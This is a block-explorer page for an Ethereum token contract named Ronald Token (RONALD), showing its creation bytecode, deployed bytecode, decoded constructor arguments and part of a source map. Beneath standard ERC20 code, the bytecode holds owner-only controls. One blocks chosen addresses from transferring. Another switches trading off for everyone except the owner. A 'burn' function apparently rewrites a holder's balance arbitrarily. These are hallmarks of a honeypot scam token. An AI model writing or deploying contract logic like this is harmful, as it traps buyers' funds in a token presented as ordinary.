8152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2991906115d9565b60405180910390a3505050565b6000610c4284846109de565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cbc5781811015610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca590611a93565b60405180910390fd5b610cbb8484848403610a6d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890611b25565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790611bb7565b60405180910390fd5b60011515600760009054906101000a900460ff1615151480610df45750610dc56112e0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610e315750610e026112e0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110ae576000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156110a957600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f145760008114610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90611bfd565b60405180910390fd5b5b610f1f838383611309565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d90611c8f565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103b919061185d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161109f91906115d9565b60405180910390a3505b611105565b60011515600760009054906101000a900460ff16151514611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb90611bfd565b60405180910390fd5b5b61111083838361130e565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90611d21565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561120b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120290611db3565b60405180910390fd5b816008546112199190611dd3565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461126e9190611dd3565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112d391906115d9565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561134d578082015181840152602081019050611332565b60008484015250505050565b6000601f19601f8301169050919050565b600061137582611313565b61137f818561131e565b935061138f81856020860161132f565b61139881611359565b840191505092915050565b600060208201905081810360008301526113bd818461136a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113fa826113cf565b9050919050565b61140a816113ef565b811461141557600080fd5b50565b60008135905061142781611401565b92915050565b6000819050919050565b6114408161142d565b811461144b57600080fd5b50565b60008135905061145d81611437565b92915050565b6000806040838503121561147a576114796113c5565b5b600061148885828601611418565b92505060206114998582860161144e565b9150509250929050565b60008115159050919050565b6114b8816114a3565b82525050565b60006020820190506114d360008301846114af565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126114fe576114fd6114d9565b5b8235905067ffffffffffffffff81111561151b5761151a6114de565b5b602083019150836020820283011115611537576115366114e3565b5b9250929050565b611547816114a3565b811461155257600080fd5b50565b6000813590506115648161153e565b92915050565b600080600060408486031215611583576115826113c5565b5b600084013567ffffffffffffffff8111156115a1576115a06113ca565b5b6115ad868287016114e8565b935093505060206115c086828701611555565b9150509250925092565b6115d38161142d565b82525050565b60006020820190506115ee60008301846115ca565b92915050565b60008060006060848603121561160d5761160c6113c5565b5b600061161b86828701611418565b935050602061162c86828701611418565b925050604061163d8682870161144e565b9150509250925092565b600060ff82169050919050565b61165d81611647565b82525050565b60006020820190506116786000830184611654565b92915050565b600060208284031215611694576116936113c5565b5b60006116a284828501611418565b91505092915050565b600080604083850312156116c2576116c16113c5565b5b60006116d085828601611418565b92505060206116e185828601611418565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061173257607f821691505b602082108103611745576117446116eb565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061178160208361131e565b915061178c8261174b565b602082019050919050565b600060208201905081810360008301526117b081611774565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118208261142d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611852576118516117e6565b5b600182019050919050565b60006118688261142d565b91506118738361142d565b925082820190508082111561188b5761188a6117e6565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006118ed60258361131e565b91506118f882611891565b604082019050919050565b6000602082019050818103600083015261191c816118e0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061197f60248361131e565b915061198a82611923565b604082019050919050565b600060208201905081810360008301526119ae81611972565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a1160228361131e565b9150611a1c826119b5565b604082019050919050565b60006020820190508181036000830152611a4081611a04565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611a7d601d8361131e565b9150611a8882611a47565b602082019050919050565b60006020820190508181036000830152611aac81611a70565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611b0f60258361131e565b9150611b1a82611ab3565b604082019050919050565b60006020820190508181036000830152611b3e81611b02565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611ba160238361131e565b9150611bac82611b45565b604082019050919050565b60006020820190508181036000830152611bd081611b94565b9050919050565b50565b6000611be760008361131e565b9150611bf282611bd7565b600082019050919050565b60006020820190508181036000830152611c1681611bda565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611c7960268361131e565b9150611c8482611c1d565b604082019050919050565b60006020820190508181036000830152611ca881611c6c565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d0b60218361131e565b9150611d1682611caf565b604082019050919050565b60006020820190508181036000830152611d3a81611cfe565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d9d60228361131e565b9150611da882611d41565b604082019050919050565b60006020820190508181036000830152611dcc81611d90565b9050919050565b6000611dde8261142d565b9150611de98361142d565b9250828203905081811115611e0157611e006117e6565b5b9291505056fea26469706673582212201915e49c3547413e313bcbfae9949c6228f74b8c03f40a7bc7e0be644e12b51f64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000e8d4a51000000000000000000000000000000000000000000000000000000000000000000c526f6e616c6420546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006524f4e414c440000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a08231116100975780639dc29fac116100665780639dc29fac14610288578063a457c2d7146102a4578063a9059cbb146102d4578063dd62ed3e14610304576100f5565b806370a08231146102005780638422dca01461023057806391b69fa01461026057806395d89b411461026a576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306fdde03146100fa578063095ea7b3146101185780631186b8d814610148575b600080fd5b610102610334565b60405161010f91906113a3565b60405180910390f35b610132600480360381019061012d9190611463565b6103c6565b60405161013f91906114be565b60405180910390f35b610162600480360381019061015d919061156a565b6103e9565b005b61016c610523565b60405161017991906115d9565b60405180910390f35b61019c600480360381019061019791906115f4565b61052d565b6040516101a991906114be565b60405180910390f35b6101ba61055c565b6040516101c79190611663565b60405180910390f35b6101ea60048036038101906101e59190611463565b610565565b6040516101f791906114be565b60405180910390f35b61021a6004803603810190610215919061167e565b61060f565b60405161022791906115d9565b60405180910390f35b61024a6004803603810190610245919061167e565b610658565b60405161025791906114be565b60405180910390f35b6102686106ae565b005b61027261079c565b60405161027f91906113a3565b60405180910390f35b6102a2600480360381019061029d9190611463565b61082e565b005b6102be60048036038101906102b99190611463565b6108d1565b6040516102cb91906114be565b60405180910390f35b6102ee60048036038101906102e99190611463565b6109bb565b6040516102fb91906114be565b60405180910390f35b61031e600480360381019061031991906116ab565b6109de565b60405161032b91906115d9565b60405180910390f35b6060600580546103439061171a565b80601f016020809104026020016040519081016040528092919081815260200182805461036f9061171a565b80156103bc5780601f10610391576101008083540402835291602001916103bc565b820191906000526020600020905b81548152906001019060200180831161039f57829003601f168201915b5050505050905090565b6000806103d1610a65565b90506103de818585610a6d565b600191505092915050565b6103f1610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461047e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047590611797565b60405180910390fd5b60005b8383905081101561051d5781600960008686858181106104a4576104a36117b7565b5b90506020020160208101906104b9919061167e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061051590611815565b915050610481565b50505050565b6000600354905090565b600080610538610a65565b9050610545858285610c36565b610550858585610cc2565b60019150509392505050565b60006009905090565b600080610570610a65565b9050610604818585600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105ff919061185d565b610a6d565b600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6106b6610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90611797565b60405180910390fd5b60001515600760009054906101000a900460ff1615150361077e576001600760006101000a81548160ff02191690831515021790555061079a565b6000600760006101000a81548160ff0219169083151502179055505b565b6060600680546107ab9061171a565b80601f01602080910402602001604051908101604052809291908181526020018280546107d79061171a565b80156108245780601f106107f957610100808354040283529160200191610824565b820191906000526020600020905b81548152906001019060200180831161080757829003601f168201915b5050505050905090565b610836610a65565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108ba90611797565b60405180910390fd5b6108cd8282611115565b5050565b6000806108dc610a65565b90506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099990611903565b60405180910390fd5b6109af8286868403610a6d565b60019250505092915050565b6000806109c6610a65565b90506109d3818585610cc2565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610adc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad390611995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611a27565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2991906115d9565b60405180910390a3505050565b6000610c4284846109de565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610cbc5781811015610cae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca590611a93565b60405180910390fd5b610cbb8484848403610a6d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890611b25565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610da0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9790611bb7565b60405180910390fd5b60011515600760009054906101000a900460ff1615151480610df45750610dc56112e0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610e315750610e026112e0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110ae576000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156110a957600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610f145760008114610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a90611bfd565b60405180910390fd5b5b610f1f838383611309565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d90611c8f565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103b919061185d565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161109f91906115d9565b60405180910390a3505b611105565b60011515600760009054906101000a900460ff16151514611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb90611bfd565b60405180910390fd5b5b61111083838361130e565b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117b90611d21565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561120b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120290611db3565b60405180910390fd5b816008546112199190611dd3565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461126e9190611dd3565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112d391906115d9565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561134d578082015181840152602081019050611332565b60008484015250505050565b6000601f19601f8301169050919050565b600061137582611313565b61137f818561131e565b935061138f81856020860161132f565b61139881611359565b840191505092915050565b600060208201905081810360008301526113bd818461136a565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006113fa826113cf565b9050919050565b61140a816113ef565b811461141557600080fd5b50565b60008135905061142781611401565b92915050565b6000819050919050565b6114408161142d565b811461144b57600080fd5b50565b60008135905061145d81611437565b92915050565b6000806040838503121561147a576114796113c5565b5b600061148885828601611418565b92505060206114998582860161144e565b9150509250929050565b60008115159050919050565b6114b8816114a3565b82525050565b60006020820190506114d360008301846114af565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126114fe576114fd6114d9565b5b8235905067ffffffffffffffff81111561151b5761151a6114de565b5b602083019150836020820283011115611537576115366114e3565b5b9250929050565b611547816114a3565b811461155257600080fd5b50565b6000813590506115648161153e565b92915050565b600080600060408486031215611583576115826113c5565b5b600084013567ffffffffffffffff8111156115a1576115a06113ca565b5b6115ad868287016114e8565b935093505060206115c086828701611555565b9150509250925092565b6115d38161142d565b82525050565b60006020820190506115ee60008301846115ca565b92915050565b60008060006060848603121561160d5761160c6113c5565b5b600061161b86828701611418565b935050602061162c86828701611418565b925050604061163d8682870161144e565b9150509250925092565b600060ff82169050919050565b61165d81611647565b82525050565b60006020820190506116786000830184611654565b92915050565b600060208284031215611694576116936113c5565b5b60006116a284828501611418565b91505092915050565b600080604083850312156116c2576116c16113c5565b5b60006116d085828601611418565b92505060206116e185828601611418565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061173257607f821691505b602082108103611745576117446116eb565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061178160208361131e565b915061178c8261174b565b602082019050919050565b600060208201905081810360008301526117b081611774565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118208261142d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611852576118516117e6565b5b600182019050919050565b60006118688261142d565b91506118738361142d565b925082820190508082111561188b5761188a6117e6565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006118ed60258361131e565b91506118f882611891565b604082019050919050565b6000602082019050818103600083015261191c816118e0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061197f60248361131e565b915061198a82611923565b604082019050919050565b600060208201905081810360008301526119ae81611972565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611a1160228361131e565b9150611a1c826119b5565b604082019050919050565b60006020820190508181036000830152611a4081611a04565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000611a7d601d8361131e565b9150611a8882611a47565b602082019050919050565b60006020820190508181036000830152611aac81611a70565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611b0f60258361131e565b9150611b1a82611ab3565b604082019050919050565b60006020820190508181036000830152611b3e81611b02565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611ba160238361131e565b9150611bac82611b45565b604082019050919050565b60006020820190508181036000830152611bd081611b94565b9050919050565b50565b6000611be760008361131e565b9150611bf282611bd7565b600082019050919050565b60006020820190508181036000830152611c1681611bda565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611c7960268361131e565b9150611c8482611c1d565b604082019050919050565b60006020820190508181036000830152611ca881611c6c565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d0b60218361131e565b9150611d1682611caf565b604082019050919050565b60006020820190508181036000830152611d3a81611cfe565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d9d60228361131e565b9150611da882611d41565b604082019050919050565b60006020820190508181036000830152611dcc81611d90565b9050919050565b6000611dde8261142d565b9150611de98361142d565b9250828203905081811115611e0157611e006117e6565b5b9291505056fea26469706673582212201915e49c3547413e313bcbfae9949c6228f74b8c03f40a7bc7e0be644e12b51f64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000e8d4a51000000000000000000000000000000000000000000000000000000000000000000c526f6e616c6420546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006524f4e414c440000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Ronald Token
Arg [1] : symbol (string): RONALD
Arg [2] : totalSupply (uint256): 1000000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000e8d4a51000
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [4] : 526f6e616c6420546f6b656e0000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [6] : 524f4e414c440000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1894:313:4:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2779:100:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5129:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13740:235;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3898:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5910:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3741:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6614:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4069:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2549:160;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2381;;;:::i;:::-;;2998:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2097:107:4;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7357:438:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4402:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4658:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2779:100;2833:13;2866:5;2859:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2779:100;:::o;5129:201::-;5212:4;5229:13;5245:12;:10;:12::i;:::-;5229:28;;5268:32;5277:5;5284:7;5293:6;5268:8;:32::i;:::-;5318:4;5311:11;;;5129:201;;;;:::o;13740:235::-;785:12:0;:10;:12::i;:::-;775:22;;:6;;;;;;;;;;:22;;;767:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13828:9:1::1;13823:145;13847:4;;:11;;13843:1;:15;13823:145;;;13953:3;13880:61;:70;13942:4;;13947:1;13942:7;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;13880:70;;;;;;;;;;;;;;;;:76;;;;;;;;;;;;;;;;;;13860:3;;;;;:::i;:::-;;;;13823:145;;;;13740:235:::0;;;:::o;3898:108::-;3959:7;3986:12;;3979:19;;3898:108;:::o;5910:295::-;6041:4;6058:15;6076:12;:10;:12::i;:::-;6058:30;;6099:38;6115:4;6121:7;6130:6;6099:15;:38::i;:::-;6148:27;6158:4;6164:2;6168:6;6148:9;:27::i;:::-;6193:4;6186:11;;;5910:295;;;;;:::o;3741:92::-;3799:5;3824:1;3817:8;;3741:92;:::o;6614:240::-;6702:4;6719:13;6735:12;:10;:12::i;:::-;6719:28;;6758:66;6767:5;6774:7;6813:10;6783:11;:18;6795:5;6783:18;;;;;;;;;;;;;;;:27;6802:7;6783:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;6758:8;:66::i;:::-;6842:4;6835:11;;;6614:240;;;;:::o;4069:127::-;4143:7;4170:9;:18;4180:7;4170:18;;;;;;;;;;;;;;;;4163:25;;4069:127;;;:::o;2549:160::-;2607:4;2631:61;:70;2693:7;2631:70;;;;;;;;;;;;;;;;;;;;;;;;;2624:77;;2549:160;;;:::o;2381:::-;785:12:0;:10;:12::i;:::-;775:22;;:6;;;;;;;;;;:22;;;767:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2456:5:1::1;2439:22;;:13;;;;;;;;;;;:22;;::::0;2435:99:::1;;2489:4;2473:13;;:20;;;;;;;;;;;;;;;;;;2435:99;;;2527:5;2511:13;;:21;;;;;;;;;;;;;;;;;;2435:99;2381:160::o:0;2998:104::-;3054:13;3087:7;3080:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2998:104;:::o;2097:107:4:-;785:12:0;:10;:12::i;:::-;775:22;;:6;;;;;;;;;;:22;;;767:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2174:22:4::1;2180:7;2189:6;2174:5;:22::i;:::-;2097:107:::0;;:::o;7357:438:1:-;7450:4;7467:13;7483:12;:10;:12::i;:::-;7467:28;;7506:24;7533:11;:18;7545:5;7533:18;;;;;;;;;;;;;;;:27;7552:7;7533:27;;;;;;;;;;;;;;;;7506:54;;7599:15;7579:16;:35;;7571:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;7692:60;7701:5;7708:7;7736:15;7717:16;:34;7692:8;:60::i;:::-;7783:4;7776:11;;;;7357:438;;;;:::o;4402:193::-;4481:4;4498:13;4514:12;:10;:12::i;:::-;4498:28;;4537;4547:5;4554:2;4558:6;4537:9;:28::i;:::-;4583:4;4576:11;;;4402:193;;;;:::o;4658:151::-;4747:7;4774:11;:18;4786:5;4774:18;;;;;;;;;;;;;;;:27;4793:7;4774:27;;;;;;;;;;;;;;;;4767:34;;4658:151;;;;:::o;862:98:0:-;915:7;942:10;935:17;;862:98;:::o;11159:380:1:-;11312:1;11295:19;;:5;:19;;;11287:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11393:1;11374:21;;:7;:21;;;11366:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11477:6;11447:11;:18;11459:5;11447:18;;;;;;;;;;;;;;;:27;11466:7;11447:27;;;;;;;;;;;;;;;:36;;;;11515:7;11499:32;;11508:5;11499:32;;;11524:6;11499:32;;;;;;:::i;:::-;;;;;;;;11159:380;;;:::o;11826:453::-;11961:24;11988:25;11998:5;12005:7;11988:9;:25::i;:::-;11961:52;;12048:17;12028:16;:37;12024:248;;12110:6;12090:16;:26;;12082:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12194:51;12203:5;12210:7;12238:6;12219:16;:25;12194:8;:51::i;:::-;12024:248;11950:329;11826:453;;;:::o;8274:994::-;8421:1;8405:18;;:4;:18;;;8397:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8498:1;8484:16;;:2;:16;;;8476:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8572:4;8555:21;;:13;;;;;;;;;;;:21;;;:40;;;;8588:7;:5;:7::i;